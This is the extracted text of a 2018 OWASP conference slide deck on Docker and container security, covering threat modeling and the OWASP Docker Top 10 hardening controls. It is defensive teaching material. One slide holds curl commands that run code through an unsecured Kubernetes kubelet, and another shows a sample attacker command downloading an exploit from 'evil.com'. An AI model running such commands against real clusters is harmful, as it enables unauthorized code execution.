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about:meabout:me

Independent Consultant Information Security
(self-employed)

OWASP

● Chaired AppSec Europe 2013 in Hamburg

● Involved in few following conferences

● 20+ years paid profession in infosec

● System, network + application security

● Pentests, consulting, training

● Information security managementOpen Source rules

● Contributions

● TLS-Checker  testssl.sh 

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://testssl.sh/
https://testssl.sh/dev
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Devs: Gross lack of knowledgeDevs: Gross lack of knowledge
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● @weldpond

   Full spectrum engineer 

● Instead of FaaS (oder BaaS?)
Serverless computing

   (aka „Siemens Lufthaken“)

... sponsored by **-Bingo ... sponsored by **-Bingo 

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://commons.wikimedia.org/wiki/File:Bullshit.svg
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Application SecurityApplication Security

● Docker
– doesn’t solve any application security problems
– it also doesn’t create addt’l appsec probs

→But it creates / can create system and network attack surfaces 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Threats to my 

containers?

                                                                                             Enumerate!

        Threat modeling  Threat modeling  

https://imgur.com/gallery/ZdEQDwh

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● 1st vector: Application 

escape 

 → 2nd: Host

        Threat modeling / 1  Threat modeling / 1  

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● 1st vector: Application 

escape 

→2nd: Network
● Container
● Host
● NFS, LDAP
● … und 

        Threat modeling / 2-4  Threat modeling / 2-4  

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● 1st vector: Application escape

→2nd: Network 
● Orchestration

CC-SA 3.0 by Monika Rittershaus , see https://fr.wikipedia.org/wiki/Fichier:Rattle_BPH-Rittershaus2-_Wikipedia.jpg

        Threat modeling / 5  Threat modeling / 5  

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Target: Orchestration tool
– Open management interfaces: UIs, APIs

● CoreOS, etcd
– tcp/2379

● Kubernetes 
– sometimes not secured etcd @ tcp/2379
– dashboard @ tcp/9090 (not installed per default)
– Insecure kubelet @ tcp/10250 (HTTPS) + 10255 (HTTP)

● Mesos?
● Swarm?
● OpenShift?
● Rancher?
● ...

        Threat modeling / 5  Threat modeling / 5  

https://creativecommons.org/licenses/by-nc-sa/4.0/
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# Lists systems
curl -sk https://$IP:10250/pods | jq .  

# Code EXEC
curl -sk https://$IP:10250/exec|run/<ns>/<pod>/<container>/ -d "cmd=ls /" 

        Threat modeling / 5  Threat modeling / 5  

Link 

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/
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● Target: Orchestration tool 
– Research: 

● Exposed orchestration tools (Lacework: PDF)
● Internet!

        Threat modeling / 5  Threat modeling / 5  

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://info.lacework.com/hubfs/Containers%20At-Risk_%20A%20Review%20of%2021,000%20Cloud%20Environments.pdf
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    201 Security  

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● My dear neighbors

 →  Other Containers 

        Threat modeling / 6  Threat modeling / 6  

https://www.realtor.com/news/trends/how-to-handle-terrible-neighbors/

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Platform / Host

– Think:
● What’s wrong w

my foundation??

        Threat modeling / 7  Threat modeling / 7  

https://news.sky.com/story/hotel-in-taiwan-collapses-after-64-magnitude-earthquake-11239117

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Integrity of OS images
– Confidentiality?

        Threat modeling / 8  Threat modeling / 8  

Trust

http://www.canalj.fr/Zoom/Cine/Moi-Moche-et-Mechant-2/Details/Personnages/Les-Minions

https://creativecommons.org/licenses/by-nc-sa/4.0/
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Based on this: make it safe

        Stop drinking Early Grey and … Stop drinking Early Grey and … 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● OWASP Docker Top 10 
 https://www.owasp.org/index.php/OWASP_Docker_Top_10

– Rather security controls than risks
– home work + beyond

  Docker SecurityDocker Security

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://www.owasp.org/index.php/OWASP_Docker_Top_10
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Top # Title

1 Insecure User Mapping

2 Missing Patchmanagement

3 Network Separation / Firewalling

4 Security Contexts

5 Secrets Management

6 Ressource Protection

7 Image Integrity and Origin

8 Immutable Paradigm

9 Hardening: Host, Orchestration, Containers

10 Remote Logging: MS, Host, Orch. Containers 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 1: User Mapping  
– Docker’s insecure default!

● Running code as privileged user

        Top 1/10 Top 1/10 

:8080

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 1: User Mapping (cont‘d)
– Workaround: Remap user namespaces !

– user_namespaces(7)
– https://docs.docker.com/engine/security/userns-remap/#enable-userns-re

map-on-the-daemon
● Nutshell:

– Configure 
● mapping in /etc/subuid  + /etc/subgid
● /etc/docker/daemon.json

– Start dockerd  with --userns-remap <mapping>
● Limits:

– Global to dockerd
– PID / net  ns

        Top 1/10 Top 1/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://docs.docker.com/engine/security/userns-remap/#enable-userns-remap-on-the-daemon
https://docs.docker.com/engine/security/userns-remap/#enable-userns-remap-on-the-daemon
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● Top 1: User Mapping (cont‘d)
– Never-ever as Root 

● Violation of Least Privilege Principle
– Giving away benefit of „containment“
– Escape from application => root in container

● No need to do this 
–  Also not of low (<= 1024) ports

        Top 1/10 Top 1/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 2: Patchmanagement
– Host

– Container Orchestration

– Images

        Top 2/10 Top 2/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 2: Patchmanagement
– Host

● Window for privilege escalation!

        Top 2/10 Top 2/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 2: Patchmanagement

– Container Orchestration
● Don’t forget to patch the management if needed ;-)

        Top 2/10 Top 2/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 2: Patchmanagement

– Mini-OS Images
● f deployment    >   f important patches  ?

        Top 2/10 Top 2/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/


  German OWASP Day, 20.11.2018    © Dirk Wetter CC 4.0 BY-NC-SA

● Top 3: Network separation  / 

firewalling
– Basic DMZ techniques

● Internal
● (External)

        Top 3/10 Top 3/10 

https://xkcd.com/2044/

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 3: Network separation  / firewalling

– Internal (network policies)
– Depends on 

● Network driver 
● Configuration

1) Deny all 
2) Allow only what’s needed

        Top 3/10 Top 3/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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        Top 4/10 Top 4/10 

● Top 4:
Security contexts

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 4: Maintain security contexts
– No Mix Prod / Dev
– No Random Code (docker run <somearbitraryimage>)
– Do not mix 

● front end / back end services

– CaaS
● Tenants

        Top 4/10 Top 4/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 6: Resource protection
– Resource Limits (cgroups)

● --memory=     
● --memory-swap=

● --cpu-*
--cpu-shares=<percent>

– Also: --pids-limit XX

        Top 6/10 Top 6/10 

→docker-run(1)

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 6: Resource protection
– Mounts!

● If not necessary:                         Don’t do it
● If really necessary + possible:   r/o
● If r/w needed:                             limit writes (FS DoS)

        Top 6/10 Top 6/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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● Top 8: Follow Immutable Paradigm

– Least Privilege 
● docker run --read-only ...
● docker run –v /hostdir:/containerdir:ro 

– Attacker 
● wget http://evil.com/exploit_dl.sh
● apt-get install / apk add  

– Limits: Container really needs to write
● Upload of files 
● R/w host mounts

        Top 8/10 Top 8/10 

https://creativecommons.org/licenses/by-nc-sa/4.0/
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https://creativecommons.org/licenses/by-nc-sa/4.0/
https://www.owasp.org/index.php/OWASP_Docker_Top_10
https://github.com/OWASP/Docker-Security
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about:end

Thank you!

                
                 @drwetter

Dr. Dirk Wetter

                                                            3957 C9AE ECE1 D0A7 4569             
                                                                       EE60 B905 3A4A 58F5 4F17

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://twitter.com/drwetter

	Folie 1
	Folie 2
	Folie 3
	Folie 4
	Folie 5
	Folie 6
	Folie 7
	Folie 8
	Folie 9
	Folie 10
	Folie 11
	Folie 12
	Folie 13
	Folie 14
	Folie 15
	Folie 16
	Folie 17
	Folie 18
	Folie 19
	Folie 20
	Folie 21
	Folie 22
	Folie 23
	Folie 24
	Folie 25
	Folie 26
	Folie 27
	Folie 28
	Folie 29
	Folie 30
	Folie 31
	Folie 32
	Folie 33
	Folie 34
	Folie 35

